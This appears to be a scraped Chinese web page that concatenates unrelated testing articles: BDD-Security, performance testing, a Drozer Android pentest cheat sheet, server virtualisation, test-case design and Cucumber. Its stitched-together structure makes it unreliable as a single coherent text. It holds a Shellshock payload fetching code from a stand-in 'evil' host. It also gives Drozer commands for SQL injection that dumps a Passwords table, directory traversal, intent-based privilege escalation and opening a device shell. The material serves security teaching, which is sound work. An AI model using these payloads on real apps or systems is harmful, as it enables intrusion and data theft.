2014年12月28日
ContinuumSecurity創(chuàng)始人Stephen de Vries,在Velocity Europe 2014大會上提出了持續(xù)且可視化的
安全測試 的觀點。Stephen表示,那些在
敏捷 開發(fā)過程中用于將QA嵌入整個開發(fā)流程的方法和工具都能同樣的用于安全測試。BDD-Security是一個基于JBehave,且遵循Given-When-Then方法的安全測試框架。
傳統(tǒng)的安全測試都遵循瀑布流程,也就是說安全團(tuán)隊總是在開發(fā)階段的末期才參與進(jìn)來,并且通常需要外部專家的幫助。在整個開發(fā)流程中,滲透測試總是被安排到很晚才做,使得為應(yīng)用做安全防范的任務(wù)尤其困難且復(fù)雜。Stephen認(rèn)為安全測試完全可以變得像QA一樣:每個人都對安全問題負(fù)責(zé);安全問題可以在更接近代碼的層面考慮;安全測試完全可以嵌入一個持續(xù)集成的開發(fā)過程中。
為了論證QA和安全測試只有量的區(qū)別而沒有質(zhì)的區(qū)別,Stephen展示了C. Maartmann-Moe和Bill Sempf分別發(fā)布的推特:
從QA的角度:
QA工程師走進(jìn)一家酒吧,點了一杯啤酒;點了0杯啤酒;點了999999999杯啤酒;點了一只蜥蜴;點了-1杯啤酒;點了一個sfdeljknesv。
從安全的角度:
滲透測試工程師走進(jìn)一家酒吧,點了一杯啤酒;點了”>杯啤酒;點了’or 1=1-杯啤酒;點了() { :; }; wget -O /beers http://evil; /杯啤酒。 要將安全測試集成進(jìn)敏捷開發(fā)流程中,首先需要滿足的條件是:可見性,以便采取及時應(yīng)對措施并修補(bǔ);可測試性,以便于自動化,比僅僅簡單的掃描更有價值。Stephen發(fā)現(xiàn)BDD工具族就同時滿足了可見性及可測試性,因此他開始著手構(gòu)建BDD-Security安全測試框架。
由于BDD-Security是基于JBehave構(gòu)建的,因此它使用BDD的標(biāo)準(zhǔn)說明語言Gherkin。一個BDD-Security測試場景如下:
Scenario: Transmit authentication credentials over HTTPS
Meta: @id auth_https
Given the browser is configured to use an intercepting proxy
And the proxy logs are cleared
And the default user logs in with credentials from: users.table
And the HTTP request-response containing the default credentials is inspected
Then the protocol should be HTTPS
BDD-Security用戶故事的編寫與通常做法不太一樣。BDD-Security說明頁面上寫著:
本框架的架構(gòu)設(shè)計使得安全用例故事與應(yīng)用的特定導(dǎo)航邏輯相互獨立,這意味著同一個用戶故事僅需要做微小的改動就能用在多個應(yīng)用中,有時甚至無需修改。
這也說明BDD-Security框架認(rèn)為對許多應(yīng)用來說,有一系列安全需求都是普遍要滿足的。也就是說你只需寫代碼把已有的故事插入你的應(yīng)用——也就是導(dǎo)航邏輯中即可。當(dāng)然,必要的時候你也完全可以編寫自己的用戶故事。
BDD-Security依賴于第三方安全測試工具來執(zhí)行具體的安全相關(guān)的行為,例如應(yīng)用掃描。這些工具有OWASP ZAP或Nessus等。
Stephen還提到其它一些有類似功能的工具。如Zap-WebDriver就是一款更簡單的工具,不喜歡BDD方式的人可以考慮采用它。Gauntlt與BDD-Security框架類似,同樣支持BDD,只是它使用的編程語言是
Ruby 。Mittn用
Python 編寫并且同樣也使用Gherkin。
隨著瀏覽器功能的不斷完善,用戶量不斷的攀升,涉及到
web 服務(wù)的功能在不斷的增加,對于我們
測試 來說,我們不僅要保證服務(wù)端功能的正確性,也要驗證服務(wù)端程序的性能是否符合要求。那么
性能測試 都要做些什么呢?我們該怎樣進(jìn)行性能測試呢?
性能測試一般會圍繞以下這些問題而進(jìn)行:
1. 什么情況下需要做性能測試?
2. 什么時候做性能測試?
3. 做性能測試需要準(zhǔn)備哪些內(nèi)容?
4. 什么樣的性能指標(biāo)是符合要求的?
5. 性能測試需要收集的數(shù)據(jù)有哪些?
6. 怎樣收集這些數(shù)據(jù)?
7. 如何分析收集到的數(shù)據(jù)?
8. 如何給出性能測試報告?
性能測試的執(zhí)行過程及要做的事兒主要包含以下內(nèi)容:
1. 測試評估階段
在這個階段,我們要評估被測的產(chǎn)品是否要進(jìn)行性能測試,并且對目前的服務(wù)器環(huán)境進(jìn)行粗估,服務(wù)的性能是否滿足條件。
首先要明確只要涉及到準(zhǔn)備上線的服務(wù)端產(chǎn)品,就需要進(jìn)行性能測試。其次如果產(chǎn)品需求中明確提到了性能指標(biāo),那也必須要做性能測試。
測試人員在進(jìn)行性能測試前,需要根據(jù)當(dāng)前的收集到的各種信息,預(yù)先做性能的評估,收集的內(nèi)容主要包括帶寬、請求包大小、并發(fā)用戶數(shù)和當(dāng)前web服務(wù)的帶寬等
2. 測試準(zhǔn)備階段
在這個階段,我們要了解以下內(nèi)容:
a. 服務(wù)器的架構(gòu)是什么樣的,例如:web服務(wù)器是什么?是如何配置的?
數(shù)據(jù)庫 用的是什么?服務(wù)用的是什么語言編寫的?;
b. 服務(wù)端功能的內(nèi)部邏輯實現(xiàn);
c. 服務(wù)端與數(shù)據(jù)庫是如何交互的,例如:數(shù)據(jù)庫的表結(jié)構(gòu)是什么樣的?服務(wù)端功能是怎樣操作數(shù)據(jù)庫的?
d. 服務(wù)端與客戶端之間是如何進(jìn)行交互的,即接口定義;
通過收集以上信息,測試人員整理出服務(wù)器端各模塊之間的交互圖,客戶端與服務(wù)端之間的交互圖以及服務(wù)端內(nèi)部功能邏輯實現(xiàn)的流程圖。
e. 該服務(wù)上線后的用戶量預(yù)估是多少,如果無法評估出用戶量,那么可以通過設(shè)計測試執(zhí)行的場景得出這個值;
f. 上線要部署到多少臺機(jī)器上,每臺機(jī)器的負(fù)載均衡是如何設(shè)計的,每臺機(jī)器的配置什么樣的,網(wǎng)絡(luò)環(huán)境是什么樣的。
g. 了解測試環(huán)境與線上環(huán)境的不同,例如網(wǎng)絡(luò)環(huán)境、硬件配置等
h. 制定測試執(zhí)行的策略,是需要驗證需求中的指標(biāo)能否達(dá)到,還是評估系統(tǒng)的最大處理能力。
i. 溝通上線的指標(biāo)
通過收集以上信息,確定性能
測試用例 該如何設(shè)計,如何設(shè)計性能測試用例執(zhí)行的場景,以及上線指標(biāo)的評估。
3. 測試設(shè)計階段
根據(jù)測試人員通過之前整理的交互圖和流程圖,設(shè)計相應(yīng)的性能測試用例。性能測試用例主要分為預(yù)期目標(biāo)用戶測試,用戶并發(fā)測試,疲勞強(qiáng)度與大數(shù)量測試,網(wǎng)絡(luò)性能測試,服務(wù)器性能測試,具體編寫的測試用例要更具實際情況進(jìn)行裁減。
用例編寫的步驟大致分為:
a. 通過腳本模擬單一用戶是如何使用這個web服務(wù)的。這里模擬的可以是用戶使用web服務(wù)的某一個動作或某幾個動作,某一個功能或幾個功能,也可以是使用web服務(wù)的整個過程。
b. 根據(jù)客戶端的實際情況和服務(wù)器端的策略,通過將腳本中可變的數(shù)據(jù)進(jìn)行參數(shù)化,來模擬多個用戶的操作。
c. 驗證參數(shù)化后腳本功能的正確性。
d. 添加檢查點
e. 設(shè)計腳本執(zhí)行的策略,如每個功能的執(zhí)行次數(shù),各個功能的執(zhí)行順序等
4. 測試執(zhí)行階段
根據(jù)客戶端的產(chǎn)品行為設(shè)計web服務(wù)的測試執(zhí)行場景及測試執(zhí)行的過程,即測試執(zhí)行期間發(fā)生的事兒。通過監(jiān)控程序收集web服務(wù)的性能數(shù)據(jù)和web服務(wù)所在系統(tǒng)的性能數(shù)據(jù)。
在測試執(zhí)行過程中,還要不斷的關(guān)注以下內(nèi)容:
a. web服務(wù)的連接速度如何?
b. 每秒的點擊數(shù)如何?
c. Web服務(wù)能允許多少個用戶同時在線?
d. 如果超過了這個數(shù)量,會出現(xiàn)什么現(xiàn)象?
e. Web服務(wù)能否處理大量用戶對同一個頁面的請求?
f. 如果web服務(wù)崩潰,是否會自動恢復(fù)?
g. 系統(tǒng)能否同一時間響應(yīng)大量用戶的請求?
h. 打壓機(jī)的系統(tǒng)負(fù)載狀態(tài)。
5. 測試分析階段
將收集到的數(shù)據(jù)制成圖表,查看各指標(biāo)的性能變化曲線,結(jié)合之前確定的上線指標(biāo),對各項數(shù)據(jù)進(jìn)行分析,已確定是否繼續(xù)對web服務(wù)進(jìn)行測試,結(jié)果是否達(dá)到了期望值。
6. 測試驗證階段
在開發(fā)針對發(fā)現(xiàn)的性能問題進(jìn)行修復(fù)后,要再執(zhí)行性能測試的用例對問題進(jìn)行驗證。這里需要關(guān)注的是開發(fā)在解決問題的同時可能無意中修改了某些功能,所以在驗證性能的同時,也要關(guān)注原有功能是否受到了影響
一、安裝與啟動
1. 安裝
第一步:從http://mwr.to/drozer下載Drozer (
Windows Installer)
adb install agent.apk
2. 啟動
第一步:在PC上使用adb進(jìn)行端口轉(zhuǎn)發(fā),轉(zhuǎn)發(fā)到Drozer使用的端口31415
adb forward tcp:31415 tcp:31415
第二步:在Android設(shè)備上開啟Drozer Agent
選擇embedded server-enable
第三步:在PC上開啟Drozer console
drozer console connect
1.獲取包名
dz> run app.package.list -f sieve
com.mwr.example.sieve
2.獲取應(yīng)用的基本信息
run app.package.info -a com.mwr.example.sieve
3.確定攻擊面
run app.package.attacksurface com.mwr.example.sieve
4.Activity
(1)獲取activity信息
run app.activity.info -a com.mwr.example.sieve
(2)啟動activity
run app.activity.start --component com.mwr.example.sieve
dz> help app.activity.start
usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
[--component PACKAGE COMPONENT] [--data-uri DATA_URI]
[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
[--mimetype MIMETYPE]
5.Content Provider
(1)獲取Content Provider信息
run app.provider.info -a com.mwr.example.sieve
(2)Content Providers(數(shù)據(jù)泄露)
先獲取所有可以訪問的Uri:
run scanner.provider.finduris -a com.mwr.example.sieve
獲取各個Uri的數(shù)據(jù):
run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查詢到數(shù)據(jù)說明存在漏洞
(3)Content Providers(
SQL 注入)
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
報錯則說明存在SQL注入。
列出所有表:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
獲取某個表(如Key)中的數(shù)據(jù):
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
(4)同時檢測SQL注入和目錄遍歷
run scanner.provider.injection -a com.mwr.example.sieve
run scanner.provider.traversal -a com.mwr.example.sieve
6 intent組件觸發(fā)(拒絕服務(wù)、權(quán)限提升)
利用intent對組件的觸發(fā)一般有兩類漏洞,一類是拒絕服務(wù),一類的權(quán)限提升。拒絕服務(wù)危害性比較低,更多的只是影響應(yīng)用服務(wù)質(zhì)量;而權(quán)限提升將使得沒有該權(quán)限的應(yīng)用可以通過intent觸發(fā)擁有該權(quán)限的應(yīng)用,從而幫助其完成越權(quán)行為。
1.查看暴露的廣播組件信息:
run app.broadcast.info -a com.package.name 獲取broadcast receivers信息
run app.broadcast.send --component 包名 --action android.intent.action.XXX
2.嘗試拒絕服務(wù)攻擊檢測,向廣播組件發(fā)送不完整intent(空action或空extras):
run app.broadcast.send 通過intent發(fā)送broadcast receiver
(1) 空action
run app.broadcast.send --component 包名 ReceiverName
run app.broadcast.send --component 包名 ReceiverName
(2) 空extras
run app.broadcast.send --action android.intent.action.XXX
3.嘗試權(quán)限提升
權(quán)限提升其實和拒絕服務(wù)很類似,只不過目的變成構(gòu)造更為完整、更能滿足程序邏輯的intent。由于activity一般多于用戶交互有關(guān),所以基 于intent的權(quán)限提升更多針對broadcast receiver和service。與drozer相關(guān)的權(quán)限提升工具,可以參考IntentFuzzer,其結(jié)合了drozer以及hook技術(shù),采用 feedback策略進(jìn)行fuzzing。以下僅僅列舉drozer發(fā)送intent的命令:
(1)獲取service詳情
run app.service.info -a com.mwr.example.sieve
不使用drozer啟動service
am startservice –n 包名/service名
(2)權(quán)限提升
run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
7.文件操作
列出指定文件路徑里全局可寫/可讀的文件
run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
run app.broadcast.send --component 包名 --action android.intent.action.XXX
8.其它模塊
shell.start 在設(shè)備上開啟一個交互shell
tools.file.upload / tools.file.download 上傳/下載文件到設(shè)備
tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進(jìn)制文件
關(guān)于服務(wù)器虛擬化的概念,業(yè)界有不同的定義,但其核心是一致的,即它是一種方法,能夠在整合多個應(yīng)用服務(wù)的同時,通過區(qū)分應(yīng)用服務(wù)的優(yōu)先次序?qū)⒎?wù)器資源分配給最需要它們的
工作 負(fù)載來簡化管理和提高效率。
其主要功能包括以下四個方面: 集成整合功能。虛擬化服務(wù)器主要是由物理服務(wù)器和虛擬化程序構(gòu)成的,通過把一臺物理服務(wù)器劃分為多個虛擬機(jī),或者把若干個分散的物理服務(wù)器虛擬為一個整體邏輯服務(wù)器,從而將多個
操作系統(tǒng) 和應(yīng)用服務(wù)整合到強(qiáng)大的虛擬化架構(gòu)上。
動態(tài)遷移功能。這里所說的動態(tài)遷移主要是指V2V(虛擬機(jī)到虛擬機(jī)的遷移)技術(shù)。具體來講,當(dāng)某一個服務(wù)器因故障停機(jī)時,其承載的虛擬機(jī)可以自動切換到另一臺虛擬服務(wù)器,而在整個過程中應(yīng)用服務(wù)不會中斷,實現(xiàn)系統(tǒng)零宕機(jī)在線遷移。
資源分配功能。虛擬化架構(gòu)技術(shù)中引入了動態(tài)資源調(diào)度技術(shù),系統(tǒng)將所有虛擬服務(wù)器作為一個整體資源統(tǒng)一進(jìn)行管理,并按實際需求自動進(jìn)行動態(tài)資源調(diào)配,在保證系統(tǒng)穩(wěn)定運行的前提下,實現(xiàn)資源利用最大化。
強(qiáng)大的管理控制界面。通過可視化界面實時監(jiān)控物理服務(wù)器以及各虛擬機(jī)的運行情況,實現(xiàn)對全部虛擬資源的管理、維護(hù)及部署等操作。
服務(wù)器虛擬化的益處
采用服務(wù)器虛擬化技術(shù)的益處主要表現(xiàn)在以下幾個方面。
節(jié)省采購費用。通過虛擬化技術(shù)對應(yīng)用服務(wù)器進(jìn)行整合,可以大幅縮減企業(yè)在采購環(huán)節(jié)的開支,在硬件環(huán)節(jié)可以為企業(yè)節(jié)省34%~80%的采購成本。
同時,還可以節(jié)省軟件采購費用。軟件許可成本是企業(yè)不可忽視的重要支出。而隨著
微軟 、紅帽等軟件巨頭的加入,虛擬化架構(gòu)技術(shù)在軟件成本上的優(yōu)勢也逐漸得以體現(xiàn)。
降低系統(tǒng)運行維護(hù)成本。由于虛擬化在整合服務(wù)器的同時采用了更為出色的管理工具,減少了管理維護(hù)人員在網(wǎng)絡(luò)、線路、軟硬件維護(hù)方面的工作量,信息部門得以從傳統(tǒng)的維護(hù)管理工作中解放出來,將更多的時間和精力用于推動創(chuàng)新工作和業(yè)務(wù)增長等活動,這也為企業(yè)帶來了利益。
通過虛擬化技術(shù)可以減少物理服務(wù)器的數(shù)量,這就意味著企業(yè)機(jī)房耗電量、散熱量的降低,同時還為企業(yè)節(jié)省了空調(diào)、機(jī)房配套設(shè)備的改造升級費用。
提高資源利用率。保障業(yè)務(wù)系統(tǒng)的快速部署是信息化工作的一項重要指標(biāo),而傳統(tǒng)模式中服務(wù)器的采購安裝周期較長,一定程度上限制了系統(tǒng)部署效率。利用虛擬化技術(shù),可以快速搭建虛擬系統(tǒng)平臺,大幅縮減部署籌備時間,提高工作效率。
由于虛擬化服務(wù)器具有動態(tài)資源分配功能,因此當(dāng)一臺虛擬機(jī)的應(yīng)用負(fù)載趨于飽和時,系統(tǒng)會根據(jù)之前定義的分配規(guī)則自動進(jìn)行資源調(diào)配。根據(jù)大部分虛擬化技術(shù)廠商提供的數(shù)據(jù)指標(biāo)來看,通過虛擬化整合服務(wù)器后,資源平均利用率可以從5%~15%提高到60%~80%。
提高系統(tǒng)的安全性。傳統(tǒng)服務(wù)器硬件維護(hù)通常需要數(shù)天的籌備期和數(shù)小時的維護(hù)窗口期。而在虛擬化架構(gòu)技術(shù)環(huán)境下,服務(wù)器遷移只需要幾秒鐘的時間。由于遷移過程中服務(wù)沒有中斷,管理員無須申請系統(tǒng)停機(jī),在降低管理維護(hù)工作量的同時,提高系統(tǒng)運行連續(xù)性。
目前虛擬化主流技術(shù)廠商均在其虛擬化平臺中引入數(shù)據(jù)快照以及虛擬存儲等安全機(jī)制,因此在數(shù)據(jù)安全等級和系統(tǒng)容災(zāi)能力方面,較原有單機(jī)運行模式有了較大提高。 目前 我司正在應(yīng)用aws 確實很不錯,節(jié)省成本 服務(wù)穩(wěn)定,比什么阿里云 強(qiáng)了不知道多少倍
1.測試用例 :分有基本流和備選流。
2.要先確定測試 用例 描述,再在測試用例 實施矩陣中確定相應(yīng)的測試用例數(shù)據(jù)。 3.從補(bǔ)充規(guī)約中生成測試用例
(2)為安全性/訪問控制測試生成測試用例
關(guān)鍵:先指定執(zhí)行用例的主角
(3)為配置測試生成測試用例
主要是為了核實測試目標(biāo)在不同的配置情況下(如不同的OS,Browser,CPU速度等)是否能正常 地
工作 或執(zhí)行。
針對第個關(guān)鍵配置,每個可能有問題的配置都至少應(yīng)該有一個測試用例。
(4)為安裝測試生成測試用例
a.需要對以下各種安裝情況設(shè)計測試用例:
分發(fā)介質(zhì)(如磁盤,CD-ROM和文件服務(wù)器)
首次安裝
完全安裝
自定義安裝
升級安裝
b.測試目標(biāo)應(yīng)包括所有構(gòu)件的安裝
客戶機(jī),中間層,服務(wù)器
(5)為其他非功能性測試生成測試用例
如操作測試,對性能瓶頸,系統(tǒng)容量或測試目標(biāo)的強(qiáng)度承受能力進(jìn)行調(diào)查的測試用例
5.為產(chǎn)品驗收測試生成測試用例
6.為回歸測試編制測試用例
a.回歸測試是比較同一測試目標(biāo)的兩個版本或版本,并將將差異確定為潛在的缺陷。
b.為使測試用例發(fā)揮回歸測試和復(fù)用的價值,同時將維護(hù)成本減至最低,應(yīng):
確保測試用例只確定關(guān)鍵的數(shù)據(jù)元素(創(chuàng)建/支持被測試的條件支持的測上試用例)
確保每個測試用例都說明或代表一個唯一的輸入集或事件序列,其結(jié)果是獨特的測試目標(biāo)行為
消除多余或等效的測試用例
將具有相同的測試目標(biāo)初始狀態(tài)和測試數(shù)據(jù)狀態(tài)的測試用例組合在一起
Cucumber是Ruby世界的BDD框架,開發(fā)人員主要與兩類文件打交到,F(xiàn)eature文件和相應(yīng)的Step文件。Feature文件是以feature為后綴名的文件,以Given-When-Then的方式描述了系統(tǒng)的場景(scenarios)行為;Step文件為普通的Ruby文件,F(xiàn)eature文件中的每個Given/When/Then步驟在Step文件中都有對應(yīng)的Ruby執(zhí)行代碼,兩類文件通過正則表達(dá)式相關(guān)聯(lián)。筆者在用Cucumber+Watir做回歸測試時對Cucumber工程的目錄結(jié)構(gòu)執(zhí)行過程進(jìn)行了研究。
安裝好Cucumber后,如果在終端直接執(zhí)行cucumber命令,得到以下輸出:
輸出結(jié)果表明:cucumber期待當(dāng)前目錄下存在名為features的子目錄。建好features文件夾后,重新執(zhí)行cucumber命令,輸出如下:
Cucumber運行成功,但由于features文件夾下沒有任何內(nèi)容,故得到上述輸出結(jié)果。
網(wǎng)上大多數(shù)關(guān)于Cucumber的教程都建議采用以下目錄結(jié)構(gòu),所有的文件(夾)都位于features文件夾下。
Feature文件(如test.feature)直接位于features文件夾下,可以為每個應(yīng)用場景創(chuàng)建一個Feature文件;與Feature文件對應(yīng)的Step文件(如test.rb)位于step_definitions子文件夾下;同時,存在support子文件夾,其下的env.rb文件為環(huán)境配置文件。在這樣的目錄結(jié)構(gòu)條件下執(zhí)行cucumber命令,會首先執(zhí)行env.rb做前期準(zhǔn)備工作,比如可以用Watir新建瀏覽器窗口,然后Cucumber將test.rb文件讀入內(nèi)存,最后執(zhí)行test.feature文件,當(dāng)遇到Given/When/Then步驟時,Cucumber將在test.rb中搜索是否有相應(yīng)的step,如果有,則執(zhí)行相應(yīng)的Ruby代碼。
這樣的目錄結(jié)構(gòu)只是推薦的目錄結(jié)構(gòu),筆者通過反復(fù)的試驗得出了以下結(jié)論:對于Cucumber而言,除了頂層的features文件夾是強(qiáng)制性的之外,其它目錄結(jié)構(gòu)都不是強(qiáng)制性的,Cucumber將對features文件夾下的所有內(nèi)容進(jìn)行扁平化(flatten)處理和首字母排序。具體來說,Cucumber在運行時,首先將遞歸的執(zhí)行features文件夾下的所有Ruby文件(其中則包括Step文件),然后通過相同的方式執(zhí)行Feature文件。但是,如果features文件夾下存在support子文件夾,并且support下有名為env.rb的文件,Cucumber將首先執(zhí)行該文件,然后執(zhí)行support下的其它文件,再遞歸執(zhí)行featues下的其它文件。
比如有如下Cucumber目錄結(jié)構(gòu):
為了方便記錄Cucumber運行時的文件執(zhí)行順序,在features文件夾下的所有Ruby文件中加上以下代碼:
puts File.basename(__FILE__)
此行代碼的作用是在一個Ruby文件執(zhí)行時輸出該文件的名字,此時執(zhí)行cucumber命令,得到以下輸出(部分)結(jié)果:
上圖即為Ruby文件的執(zhí)行順序,可以看出,support文件夾下env.rb文件首先被執(zhí)行,其次按照字母排序執(zhí)行c.rb和d.rb;接下來,Cucumber將features文件夾下的所用文件(夾)扁平化,并按字母順序排序,從而先執(zhí)行a.rb和b.rb,而由于other文件夾排在step_definitions文件夾的前面,所以先執(zhí)行other文件夾下的Ruby文件(也是按字母順序執(zhí)行:先f.rb,然后g.rb),最后執(zhí)行step_definitions下的e.rb。
當(dāng)執(zhí)行完所有Ruby文件后,Cucumber開始依次讀取Feature文件,執(zhí)行順序也和前述一樣,即: a.feature --> b.feature --> c.feature
筆者還發(fā)現(xiàn),這些Ruby文件甚至可以位于features文件夾之外的任何地方,只是需要在位于features文件夾之內(nèi)的Ruby文件中require一下,比如在env.rb中。
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters